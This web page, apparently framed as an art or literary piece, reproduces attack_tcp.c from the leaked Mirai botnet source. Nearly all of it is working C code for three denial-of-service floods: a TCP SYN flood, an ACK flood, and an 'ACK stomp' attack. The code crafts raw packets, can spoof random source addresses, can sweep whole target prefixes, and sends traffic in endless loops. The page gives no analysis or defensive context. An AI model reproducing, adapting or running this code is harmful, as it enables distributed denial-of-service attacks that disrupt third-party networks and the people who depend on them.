Kanz Eku, attack_tcp.c, From Leaked Mirai Botnet Code

Mirai Botnet, attack_tcp.c, image by Daniel Y. Harris  

attack_tcp.c

Kanz Eku

From Leaked Mirai Botnet Code

#define _GNU_SOURCE

#ifdef DEBUG

#include <stdio.h>

#endif

#include <stdlib.h>

#include <unistd.h>

#include <sys/socket.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <fcntl.h>

#include <errno.h>

#include "includes.h"

#include "attack.h"

#include "checksum.h"

#include "rand.h"

void attack_tcp_syn(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)

{

    int i, fd;

    char **pkts = calloc(targs_len, sizeof (char *));

    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);

    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);

    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);

    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);

    port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);

    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);

    uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);

    uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0);

    BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);

    BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, FALSE);

    BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);

    BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);

    BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, TRUE);

    BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);

    uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);

    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)

    {

#ifdef DEBUG

        printf("Failed to create raw socket. Aborting attack\n");

#endif

        return;

    }

   

    i = 1;

    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)

    {

#ifdef DEBUG

        printf("Failed to set IP_HDRINCL. Aborting\n");

#endif

        close(fd);

        return;

    }

    for (i = 0; i < targs_len; i++)

    {

        struct iphdr *iph;

        struct tcphdr *tcph;

        uint8_t *opts;

        pkts[i] = calloc(128, sizeof (char));

        iph = (struct iphdr *)pkts[i];

        tcph = (struct tcphdr *)(iph + 1);

        opts = (uint8_t *)(tcph + 1);

        iph->version = 4;

        iph->ihl = 5;

        iph->tos = ip_tos;

        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + 20);

        iph->id = htons(ip_ident);

        iph->ttl = ip_ttl;

        if (dont_frag)

            iph->frag_off = htons(1 << 14);

        iph->protocol = IPPROTO_TCP;

        iph->saddr = source_ip;

        iph->daddr = targs[i].addr;

        tcph->source = htons(sport);

        tcph->dest = htons(dport);

        tcph->seq = htons(seq);

        tcph->doff = 10;

        tcph->urg = urg_fl;

        tcph->ack = ack_fl;

        tcph->psh = psh_fl;

        tcph->rst = rst_fl;

        tcph->syn = syn_fl;

        tcph->fin = fin_fl;

        // TCP MSS

        *opts++ = PROTO_TCP_OPT_MSS;    // Kind

        *opts++ = 4;                    // Length

        *((uint16_t *)opts) = htons(1400 + (rand_next() & 0x0f));

        opts += sizeof (uint16_t);

        // TCP SACK permitted

        *opts++ = PROTO_TCP_OPT_SACK;

        *opts++ = 2;

        // TCP timestamps

        *opts++ = PROTO_TCP_OPT_TSVAL;

        *opts++ = 10;

        *((uint32_t *)opts) = rand_next();

        opts += sizeof (uint32_t);

        *((uint32_t *)opts) = 0;

        opts += sizeof (uint32_t);

        // TCP nop

        *opts++ = 1;

        // TCP window scale

        *opts++ = PROTO_TCP_OPT_WSS;

        *opts++ = 3;

        *opts++ = 6; // 2^6 = 64, window size scale = 64

    }

    while (TRUE)

    {

        for (i = 0; i < targs_len; i++)

        {

            char *pkt = pkts[i];

            struct iphdr *iph = (struct iphdr *)pkt;

            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

           

            // For prefix attacks

            if (targs[i].netmask < 32)

                iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));

            if (source_ip == 0xffffffff)

                iph->saddr = rand_next();

            if (ip_ident == 0xffff)

                iph->id = rand_next() & 0xffff;

            if (sport == 0xffff)

                tcph->source = rand_next() & 0xffff;

            if (dport == 0xffff)

                tcph->dest = rand_next() & 0xffff;

            if (seq == 0xffff)

                tcph->seq = rand_next();

            if (ack == 0xffff)

                tcph->ack_seq = rand_next();

            if (urg_fl)

                tcph->urg_ptr = rand_next() & 0xffff;

            iph->check = 0;

            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

            tcph->check = 0;

            tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 20), sizeof (struct tcphdr) + 20);

            targs[i].sock_addr.sin_port = tcph->dest;

            sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + 20, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));

        }

#ifdef DEBUG

            break;

            if (errno != 0)

                printf("errno = %d\n", errno);

#endif

    }

}

void attack_tcp_ack(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)

{

    int i, fd;

    char **pkts = calloc(targs_len, sizeof (char *));

    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);

    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);

    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);

    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);

    port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);

    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);

    uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);

    uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0xffff);

    BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);

    BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);

    BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);

    BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);

    BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);

    BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);

    int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);

    BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);

    uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);

    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)

    {

#ifdef DEBUG

        printf("Failed to create raw socket. Aborting attack\n");

#endif

        return;

    }

    i = 1;

    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)

    {

#ifdef DEBUG

        printf("Failed to set IP_HDRINCL. Aborting\n");

#endif

        close(fd);

        return;

    }

    for (i = 0; i < targs_len; i++)

    {

        struct iphdr *iph;

        struct tcphdr *tcph;

        char *payload;

        pkts[i] = calloc(1510, sizeof (char));

        iph = (struct iphdr *)pkts[i];

        tcph = (struct tcphdr *)(iph + 1);

        payload = (char *)(tcph + 1);

        iph->version = 4;

        iph->ihl = 5;

        iph->tos = ip_tos;

        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);

        iph->id = htons(ip_ident);

        iph->ttl = ip_ttl;

        if (dont_frag)

            iph->frag_off = htons(1 << 14);

        iph->protocol = IPPROTO_TCP;

        iph->saddr = source_ip;

        iph->daddr = targs[i].addr;

        tcph->source = htons(sport);

        tcph->dest = htons(dport);

        tcph->seq = htons(seq);

        tcph->doff = 5;

        tcph->urg = urg_fl;

        tcph->ack = ack_fl;

        tcph->psh = psh_fl;

        tcph->rst = rst_fl;

        tcph->syn = syn_fl;

        tcph->fin = fin_fl;

        tcph->window = rand_next() & 0xffff;

        if (psh_fl)

            tcph->psh = TRUE;

        rand_str(payload, data_len);

    }

//    targs[0].sock_addr.sin_port = tcph->dest;

//    if (sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[0].sock_addr, sizeof (struct sockaddr_in)) < 1)

//    {

//

//    }

    while (TRUE)

    {

        for (i = 0; i < targs_len; i++)

        {

            char *pkt = pkts[i];

            struct iphdr *iph = (struct iphdr *)pkt;

            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

            char *data = (char *)(tcph + 1);

            // For prefix attacks

            if (targs[i].netmask < 32)

                iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));

            if (source_ip == 0xffffffff)

                iph->saddr = rand_next();

            if (ip_ident == 0xffff)

                iph->id = rand_next() & 0xffff;

            if (sport == 0xffff)

                tcph->source = rand_next() & 0xffff;

            if (dport == 0xffff)

                tcph->dest = rand_next() & 0xffff;

            if (seq == 0xffff)

                tcph->seq = rand_next();

            if (ack == 0xffff)

                tcph->ack_seq = rand_next();

            // Randomize packet content?

            if (data_rand)

                rand_str(data, data_len);

            iph->check = 0;

            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

            tcph->check = 0;

            tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);

            targs[i].sock_addr.sin_port = tcph->dest;

            sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));

        }

#ifdef DEBUG

            break;

            if (errno != 0)

                printf("errno = %d\n", errno);

#endif

    }

}

void attack_tcp_stomp(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)

{

    int i, rfd;

    struct attack_stomp_data *stomp_data = calloc(targs_len, sizeof (struct attack_stomp_data));

    char **pkts = calloc(targs_len, sizeof (char *));

    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);

    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);

    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);

    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);

    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);

    BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);

    BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);

    BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, TRUE);

    BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);

    BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);

    BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);

    int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 768);

    BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);

    // Set up receive socket

    if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)

    {

#ifdef DEBUG

        printf("Could not open raw socket!\n");

#endif

        return;

    }

    i = 1;

    if (setsockopt(rfd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)

    {

#ifdef DEBUG

        printf("Failed to set IP_HDRINCL. Aborting\n");

#endif

        close(rfd);

        return;

    }

    // Retrieve all ACK/SEQ numbers

    for (i = 0; i < targs_len; i++)

    {

        int fd;

        struct sockaddr_in addr, recv_addr;

        socklen_t recv_addr_len;

        char pktbuf[256];

        time_t start_recv;

        stomp_setup_nums:

        if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)

        {

#ifdef DEBUG

            printf("Failed to create socket!\n");

#endif

            continue;

        }

        // Set it in nonblocking mode

        fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);

        // Set up address to connect to

        addr.sin_family = AF_INET;

        if (targs[i].netmask < 32)

            addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));

        else

            addr.sin_addr.s_addr = targs[i].addr;

        if (dport == 0xffff)

            addr.sin_port = rand_next() & 0xffff;

        else

            addr.sin_port = htons(dport);

        // Actually connect, nonblocking

        connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));

        start_recv = time(NULL);

        // Get info

        while (TRUE)

        {

            int ret;

            recv_addr_len = sizeof (struct sockaddr_in);

            ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len);

            if (ret == -1)

            {

#ifdef DEBUG

                printf("Could not listen on raw socket!\n");

#endif

                return;

            }

            if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr)))

            {

                struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr));

                if (tcph->source == addr.sin_port)

                {

                    if (tcph->syn && tcph->ack)

                    {

                        struct iphdr *iph;

                        struct tcphdr *tcph;

                        char *payload;

                        stomp_data[i].addr = addr.sin_addr.s_addr;

                        stomp_data[i].seq = ntohl(tcph->seq);

                        stomp_data[i].ack_seq = ntohl(tcph->ack_seq);

                        stomp_data[i].sport = tcph->dest;

                        stomp_data[i].dport = addr.sin_port;

#ifdef DEBUG

                        printf("ACK Stomp got SYN+ACK!\n");

#endif

                        // Set up the packet

                        pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);

                        iph = (struct iphdr *)pkts[i];

                        tcph = (struct tcphdr *)(iph + 1);

                        payload = (char *)(tcph + 1);

                        iph->version = 4;

                        iph->ihl = 5;

                        iph->tos = ip_tos;

                        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);

                        iph->id = htons(ip_ident);

                        iph->ttl = ip_ttl;

                        if (dont_frag)

                            iph->frag_off = htons(1 << 14);

                        iph->protocol = IPPROTO_TCP;

                        iph->saddr = LOCAL_ADDR;

                        iph->daddr = stomp_data[i].addr;

                        tcph->source = stomp_data[i].sport;

                        tcph->dest = stomp_data[i].dport;

                        tcph->seq = stomp_data[i].ack_seq;

                        tcph->ack_seq = stomp_data[i].seq;

                        tcph->doff = 8;

                        tcph->fin = TRUE;

                        tcph->ack = TRUE;

                        tcph->window = rand_next() & 0xffff;

                        tcph->urg = urg_fl;

                        tcph->ack = ack_fl;

                        tcph->psh = psh_fl;

                        tcph->rst = rst_fl;

                        tcph->syn = syn_fl;

                        tcph->fin = fin_fl;

                        rand_str(payload, data_len);

                        break;

                    }

                    else if (tcph->fin || tcph->rst)

                    {

                        close(fd);

                        goto stomp_setup_nums;

                    }

                }

            }

            if (time(NULL) - start_recv > 10)

            {

#ifdef DEBUG

                printf("Couldn't connect to host for ACK Stomp in time. Retrying\n");

#endif

                close(fd);

                goto stomp_setup_nums;

            }

        }

    }

    // Start spewing out traffic

    while (TRUE)

    {

        for (i = 0; i < targs_len; i++)

        {

            char *pkt = pkts[i];

            struct iphdr *iph = (struct iphdr *)pkt;

            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

            char *data = (char *)(tcph + 1);

            if (ip_ident == 0xffff)

                iph->id = rand_next() & 0xffff;

            if (data_rand)

                rand_str(data, data_len);

            iph->check = 0;

            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

            tcph->seq = htons(stomp_data[i].seq++);

            tcph->ack_seq = htons(stomp_data[i].ack_seq);

            tcph->check = 0;

            tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);

            targs[i].sock_addr.sin_port = tcph->dest;

            sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));

        }

#ifdef DEBUG

            break;

            if (errno != 0)

                printf("errno = %d\n", errno);

#endif

    }

}